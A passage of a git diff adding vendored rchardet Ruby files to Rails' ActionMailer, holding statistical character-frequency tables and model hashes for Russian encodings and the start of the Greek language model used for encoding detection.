+252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 +253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 +155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 +253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 + 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 + 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, + 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, + 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, +191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, +207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, +223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, + 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16, +239, 68,240,241,242,243,244,245,246,247,248,249,250,251,252,255, +] + +# Model Table: +# total sequences: 100% +# first 512 sequences: 97.6601% +# first 1024 sequences: 2.3389% +# rest sequences: 0.1237% +# negative sequences: 0.0009% +RussianLangModel = [ +0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,1,3,3,3,3,1,3,3,3,2,3,2,3,3, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,2,2,2,2,2,0,0,2, +3,3,3,2,3,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,3,2,3,2,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,2,2,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,2,3,3,1,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,2,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,0,0,3,3,3,3,3,3,3,3,3,3,3,2,1, +0,0,0,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,3,3,3,2,1, +0,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,2,2,2,3,1,3,3,1,3,3,3,3,2,2,3,0,2,2,2,3,3,2,1,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,2,3,3,3,3,3,2,2,3,2,3,3,3,2,1,2,2,0,1,2,2,2,2,2,2,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,3,0,2,2,3,3,2,1,2,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,2,3,3,1,2,3,2,2,3,2,3,3,3,3,2,2,3,0,3,2,2,3,1,1,1,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,2,3,3,3,3,2,2,2,0,3,3,3,2,2,2,2,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,2,3,2,3,3,3,3,3,3,2,3,2,2,0,1,3,2,1,2,2,1,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,2,1,1,3,0,1,1,1,1,2,1,1,0,2,2,2,1,2,0,1,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,2,3,3,2,2,2,2,1,3,2,3,2,3,2,1,2,2,0,1,1,2,1,2,1,2,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,3,2,2,3,2,3,3,3,2,2,2,2,0,2,2,2,2,3,1,1,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, +3,2,3,2,2,3,3,3,3,3,3,3,3,3,1,3,2,0,0,3,3,3,3,2,3,3,3,3,2,3,2,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,3,3,3,3,3,2,2,3,3,0,2,1,0,3,2,3,2,3,0,0,1,2,0,0,1,0,1,2,1,1,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,3,0,2,3,3,3,3,2,3,3,3,3,1,2,2,0,0,2,3,2,2,2,3,2,3,2,2,3,0,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,2,3,0,2,3,2,3,0,1,2,3,3,2,0,2,3,0,0,2,3,2,2,0,1,3,1,3,2,2,1,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,1,3,0,2,3,3,3,3,3,3,3,3,2,1,3,2,0,0,2,2,3,3,3,2,3,3,0,2,2,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,2,2,3,3,2,2,2,3,3,0,0,1,1,1,1,1,2,0,0,1,1,1,1,0,1,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,2,2,3,3,3,3,3,3,3,0,3,2,3,3,2,3,2,0,2,1,0,1,1,0,1,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,2,3,3,3,2,2,2,2,3,1,3,2,3,1,1,2,1,0,2,2,2,2,1,3,1,0, +0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, +2,2,3,3,3,3,3,1,2,2,1,3,1,0,3,0,0,3,0,0,0,1,1,0,1,2,1,0,0,0,0,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,2,2,1,1,3,3,3,2,2,1,2,2,3,1,1,2,0,0,2,2,1,3,0,0,2,1,1,2,1,1,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,2,3,3,3,3,1,2,2,2,1,2,1,3,3,1,1,2,1,2,1,2,2,0,2,0,0,1,1,0,1,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,3,3,3,3,3,2,1,3,2,2,3,2,0,3,2,0,3,0,1,0,1,1,0,0,1,1,1,1,0,1,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,2,3,3,3,2,2,2,3,3,1,2,1,2,1,0,1,0,1,1,0,1,0,0,2,1,1,1,0,1,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, +3,1,1,2,1,2,3,3,2,2,1,2,2,3,0,2,1,0,0,2,2,3,2,1,2,2,2,2,2,3,1,0, +0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,1,1,0,1,1,2,2,1,1,3,0,0,1,3,1,1,1,0,0,0,1,0,1,1,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,1,3,3,3,2,0,0,0,2,1,0,1,0,2,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,0,1,0,0,2,3,2,2,2,1,2,2,2,1,2,1,0,0,1,1,1,0,2,0,1,1,1,0,0,1,1, +1,0,0,0,0,0,1,2,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0, +2,3,3,3,3,0,0,0,0,1,0,0,0,0,3,0,1,2,1,0,0,0,0,0,0,0,1,1,0,0,1,1, +1,0,1,0,1,2,0,0,1,1,2,1,0,1,1,1,1,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0, +2,2,3,2,2,2,3,1,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,0,1,0,1,1,1,0,2,1, +1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0, +3,3,3,2,2,2,2,3,2,2,1,1,2,2,2,2,1,1,3,1,2,1,2,0,0,1,1,0,1,0,2,1, +1,1,1,1,1,2,1,0,1,1,1,1,0,1,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,0, +2,0,0,1,0,3,2,2,2,2,1,2,1,2,1,2,0,0,0,2,1,2,2,1,1,2,2,0,1,1,0,2, +1,1,1,1,1,0,1,1,1,2,1,1,1,2,1,0,1,2,1,1,1,1,0,1,1,1,0,0,1,0,0,1, +1,3,2,2,2,1,1,1,2,3,0,0,0,0,2,0,2,2,1,0,0,0,0,0,0,1,0,0,0,0,1,1, +1,0,1,1,0,1,0,1,1,0,1,1,0,2,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0, +2,3,2,3,2,1,2,2,2,2,1,0,0,0,2,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,2,1, +1,1,2,1,0,2,0,0,1,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0, +3,0,0,1,0,2,2,2,3,2,2,2,2,2,2,2,0,0,0,2,1,2,1,1,1,2,2,0,0,0,1,2, +1,1,1,1,1,0,1,2,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1, +2,3,2,3,3,2,0,1,1,1,0,0,1,0,2,0,1,1,3,1,0,0,0,0,0,0,0,1,0,0,2,1, +1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0, +2,3,3,3,3,1,2,2,2,2,0,1,1,0,2,1,1,1,2,1,0,1,1,0,0,1,0,1,0,0,2,0, +0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,3,3,3,2,0,0,1,1,2,2,1,0,0,2,0,1,1,3,0,0,1,0,0,0,0,0,1,0,1,2,1, +1,1,2,0,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0, +1,3,2,3,2,1,0,0,2,2,2,0,1,0,2,0,1,1,1,0,1,0,0,0,3,0,1,1,0,0,2,1, +1,1,1,0,1,1,0,0,0,0,1,1,0,1,0,0,2,1,1,0,1,0,0,0,1,0,1,0,0,1,1,0, +3,1,2,1,1,2,2,2,2,2,2,1,2,2,1,1,0,0,0,2,2,2,0,0,0,1,2,1,0,1,0,1, +2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,2,1,1,1,0,1,0,1,1,0,1,1,1,0,0,1, +3,0,0,0,0,2,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,1,0,1, +1,1,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1, +1,3,3,2,2,0,0,0,2,2,0,0,0,1,2,0,1,1,2,0,0,0,0,0,0,0,0,1,0,0,2,1, +0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0, +2,3,2,3,2,0,0,0,0,1,1,0,0,0,2,0,2,0,2,0,0,0,0,0,1,0,0,1,0,0,1,1, +1,1,2,0,1,2,1,0,1,1,2,1,1,1,1,1,2,1,1,0,1,0,0,1,1,1,1,1,0,1,1,0, +1,3,2,2,2,1,0,0,2,2,1,0,1,2,2,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1, +0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,1,0,2,3,1,2,2,2,2,2,2,1,1,0,0,0,1,0,1,0,2,1,1,1,0,0,0,0,1, +1,1,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0, +2,0,2,0,0,1,0,3,2,1,2,1,2,2,0,1,0,0,0,2,1,0,0,2,1,1,1,1,0,2,0,2, +2,1,1,1,1,1,1,1,1,1,1,1,1,2,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1, +1,2,2,2,2,1,0,0,1,0,0,0,0,0,2,0,1,1,1,1,0,0,0,0,1,0,1,2,0,0,2,0, +1,0,1,1,1,2,1,0,1,0,1,1,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,0, +2,1,2,2,2,0,3,0,1,1,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0, +1,2,2,3,2,2,0,0,1,1,2,0,1,2,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1, +0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0, +2,2,1,1,2,1,2,2,2,2,2,1,2,2,0,1,0,0,0,1,2,2,2,1,2,1,1,1,1,1,2,1, +1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,1, +1,2,2,2,2,0,1,0,2,2,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0, +0,0,1,0,0,1,0,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, +0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,2,2,2,2,0,0,0,2,2,2,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1, +0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,2,2,2,2,0,0,0,0,1,0,0,1,1,2,0,0,0,0,1,0,1,0,0,1,0,0,2,0,0,0,1, +0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0, +1,2,2,2,1,1,2,0,2,1,1,1,1,0,2,2,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1, +0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, +1,0,2,1,2,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0, +0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0, +1,0,0,0,0,2,0,1,2,1,0,1,1,1,0,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1, +0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1, +2,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +1,1,1,0,1,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0, +1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, +1,1,0,1,1,0,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0, +0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0, +] + +Koi8rModel = { + 'charToOrderMap' => KOI8R_CharToOrderMap, + 'precedenceMatrix' => RussianLangModel, + 'mTypicalPositiveRatio' => 0.976601, + 'keepEnglishLetter' => false, + 'charsetName' => "KOI8-R" +} + +Win1251CyrillicModel = { + 'charToOrderMap' => win1251_CharToOrderMap, + 'precedenceMatrix' => RussianLangModel, + 'mTypicalPositiveRatio' => 0.976601, + 'keepEnglishLetter' => false, + 'charsetName' => "windows-1251" +} + +Latin5CyrillicModel = { + 'charToOrderMap' => latin5_CharToOrderMap, + 'precedenceMatrix' => RussianLangModel, + 'mTypicalPositiveRatio' => 0.976601, + 'keepEnglishLetter' => false, + 'charsetName' => "ISO-8859-5" +} + +MacCyrillicModel = { + 'charToOrderMap' => macCyrillic_CharToOrderMap, + 'precedenceMatrix' => RussianLangModel, + 'mTypicalPositiveRatio' => 0.976601, + 'keepEnglishLetter' => false, + 'charsetName' => "MacCyrillic" +} + +Ibm866Model = { + 'charToOrderMap' => IBM866_CharToOrderMap, + 'precedenceMatrix' => RussianLangModel, + 'mTypicalPositiveRatio' => 0.976601, + 'keepEnglishLetter' => false, + 'charsetName' => "IBM866" +} + +Ibm855Model = { + 'charToOrderMap' => IBM855_CharToOrderMap, + 'precedenceMatrix' => RussianLangModel, + 'mTypicalPositiveRatio' => 0.976601, + 'keepEnglishLetter' => false, + 'charsetName' => "IBM855" +} +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langgreekmodel.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langgreekmodel.rb new file mode 100755 index 00000000..934a233e --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langgreekmodel.rb @@ -0,0 +1,227 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + + +module CharDet + # 255: Control characters that usually does not exist in any text + # 254: Carriage/Return + # 253: symbol (punctuation) that does not belong to word + # 252: 0 - 9 + + # Character Mapping Table: + Latin7_CharToOrderMap = [ + 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 + 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 + 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 + 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 + 253, 82,100,104, 94, 98,101,116,102,111,187,117, 92, 88,113, 85, # 40 + 79,118,105, 83, 67,114,119, 95, 99,109,188,253,253,253,253,253, # 50 + 253, 72, 70, 80, 81, 60, 96, 93, 89, 68,120, 97, 77, 86, 69, 55, # 60 + 78,115, 65, 66, 58, 76,106,103, 87,107,112,253,253,253,253,253, # 70 + 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 80 + 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 90 + 253,233, 90,253,253,253,253,253,253,253,253,253,253, 74,253,253, # a0 + 253,253,253,253,247,248, 61, 36, 46, 71, 73,253, 54,253,108,123, # b0 + 110, 31, 51, 43, 41, 34, 91, 40, 52, 47, 44, 53, 38, 49, 59, 39, # c0 + 35, 48,250, 37, 33, 45, 56, 50, 84, 57,120,121, 17, 18, 22, 15, # d0 + 124, 1, 29, 20, 21, 3, 32, 13, 25, 5, 11, 16, 10, 6, 30, 4, # e0 + 9, 8, 14, 7, 2, 12, 28, 23, 42, 24, 64, 75, 19, 26, 27,253, # f0 + ] + + Win1253_CharToOrderMap = [ + 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 + 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 + 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 + 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 + 253, 82,100,104, 94, 98,101,116,102,111,187,117, 92, 88,113, 85, # 40 + 79,118,105, 83, 67,114,119, 95, 99,109,188,253,253,253,253,253, # 50 + 253, 72, 70, 80, 81, 60, 96, 93, 89, 68,120, 97, 77, 86, 69, 55, # 60 + 78,115, 65, 66, 58, 76,106,103, 87,107,112,253,253,253,253,253, # 70 + 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 80 + 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 90 + 253,233, 61,253,253,253,253,253,253,253,253,253,253, 74,253,253, # a0 + 253,253,253,253,247,253,253, 36, 46, 71, 73,253, 54,253,108,123, # b0 + 110, 31, 51, 43, 41, 34, 91, 40, 52, 47, 44, 53, 38, 49, 59, 39, # c0 + 35, 48,250, 37, 33, 45, 56, 50, 84, 57,120,121, 17, 18, 22, 15, # d0 + 124, 1, 29, 20, 21, 3, 32, 13, 25, 5, 11, 16, 10, 6, 30, 4, # e0 + 9, 8, 14, 7, 2, 12, 28, 23, 42, 24, 64, 75, 19, 26, 27,253, # f0 + ] + + # Model Table: + # total sequences: 100% + # first 512 sequences: 98.2851% + # first 1024 sequences:1.7001% + # rest sequences: 0.0359% + # negative sequences: 0.0148% + GreekLangModel = [ + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,3,2,2,3,3,3,3,3,3,3,3,1,3,3,3,0,2,2,3,3,0,3,0,3,2,0,3,3,3,0, + 3,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,3,3,3,3,0,3,3,0,3,2,3,3,0,3,2,3,3,3,0,0,3,0,3,0,3,3,2,0,0,0, + 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, + 0,2,3,2,2,3,3,3,3,3,3,3,3,0,3,3,3,3,0,2,3,3,0,3,3,3,3,2,3,3,3,0, + 2,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,2,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,0,2,1,3,3,3,3,2,3,3,2,3,3,2,0, + 0,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,3,3,3,0,3,3,3,3,3,3,0,3,3,0,3,3,3,3,3,3,3,3,3,3,0,3,2,3,3,0, + 2,0,1,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, + 0,3,3,3,3,3,2,3,0,0,0,0,3,3,0,3,1,3,3,3,0,3,3,0,3,3,3,3,0,0,0,0, + 2,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,3,3,3,3,0,3,0,3,3,3,3,3,0,3,2,2,2,3,0,2,3,3,3,3,3,2,3,3,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,3,3,3,3,3,2,2,2,3,3,3,3,0,3,1,3,3,3,3,2,3,3,3,3,3,3,3,2,2,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,3,3,3,3,2,0,3,0,0,0,3,3,2,3,3,3,3,3,0,0,3,2,3,0,2,3,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,0,3,3,3,3,0,0,3,3,0,2,3,0,3,0,3,3,3,0,0,3,0,3,0,2,2,3,3,0,0, + 0,0,1,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,3,3,3,3,2,0,3,2,3,3,3,3,0,3,3,3,3,3,0,3,3,2,3,2,3,3,2,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,3,2,3,2,3,3,3,3,3,3,0,2,3,2,3,2,2,2,3,2,3,3,2,3,0,2,2,2,3,0, + 2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,3,0,0,0,3,3,3,2,3,3,0,0,3,0,3,0,0,0,3,2,0,3,0,3,0,0,2,0,2,0, + 0,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,3,3,3,0,3,3,3,3,3,3,0,3,3,0,3,0,0,0,3,3,0,3,3,3,0,0,1,2,3,0, + 3,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,3,3,3,3,2,0,0,3,2,2,3,3,0,3,3,3,3,3,2,1,3,0,3,2,3,3,2,1,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,3,3,0,2,3,3,3,3,3,3,0,0,3,0,3,0,0,0,3,3,0,3,2,3,0,0,3,3,3,0, + 3,0,0,0,2,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,3,3,3,0,3,3,3,3,3,3,0,0,3,0,3,0,0,0,3,2,0,3,2,3,0,0,3,2,3,0, + 2,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,3,1,2,2,3,3,3,3,3,3,0,2,3,0,3,0,0,0,3,3,0,3,0,2,0,0,2,3,1,0, + 2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,0,3,3,3,3,0,3,0,3,3,2,3,0,3,3,3,3,3,3,0,3,3,3,0,2,3,0,0,3,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,0,3,3,3,0,0,3,0,0,0,3,3,0,3,0,2,3,3,0,0,3,0,3,0,3,3,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,3,0,0,0,3,3,3,3,3,3,0,0,3,0,2,0,0,0,3,3,0,3,0,3,0,0,2,0,2,0, + 